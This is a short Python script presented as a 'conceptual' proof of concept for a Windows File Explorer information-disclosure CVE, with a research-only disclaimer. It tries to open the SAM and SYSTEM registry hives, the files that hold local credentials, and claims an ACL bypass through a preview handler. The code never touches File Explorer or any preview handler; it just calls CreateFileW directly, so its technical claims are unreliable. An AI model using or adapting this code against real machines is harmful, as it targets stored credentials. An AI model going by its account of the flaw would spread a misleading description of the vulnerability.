The following code is for security research and authorized testing only.
python
# CVE-2026-20937 PoC - Windows File Explorer Information Disclosure
# Note: This is a conceptual PoC demonstrating the attack vector
# Actual exploitation requires specific trigger conditions
import os
import sys
import ctypes
from ctypes import wintypes
# Windows API imports
kernel32 = ctypes.windll.kernel32
def trigger_vulnerability():
"""
Trigger conditions for CVE-2026-20937
This PoC demonstrates the concept of exploiting
Windows File Explorer's improper access control
"""
print("[*] CVE-2026-20937 Information Disclosure PoC")
print("[*] Target: Windows File Explorer")
# Step 1: Identify protected files accessible via File Explorer
protected_paths = [
r"C:\Windows\System32\config\SAM",
r"C:\Windows\System32\config\SYSTEM",
r"C:\Windows\ServiceProfiles\..."
]
# Step 2: Exploit File Explorer preview handler vulnerability
# The vulnerability allows bypassing ACL checks
for path in protected_paths:
if os.path.exists(path):
print(f"[!] Found accessible file: {path}")
# Attempt to read via File Explorer bypass
try:
handle = kernel32.CreateFileW(
path,
0x80000000, # GENERIC_READ
0x00000001, # FILE_SHARE_READ
None,
3, # OPEN_EXISTING
0x02000000, # FILE_FLAG_BACKUP_SEMANTICS
None
)
if handle != -1:
print(f"[+] Successfully accessed: {path}")
kernel32.CloseHandle(handle)
except Exception as e:
print(f"[-] Access denied: {e}")
print("[*] Note: Actual exploitation requires specific trigger conditions")
print("[*] Refer to MSRC advisory for complete technical details")
if __name__ == "__main__":
trigger_vulnerability()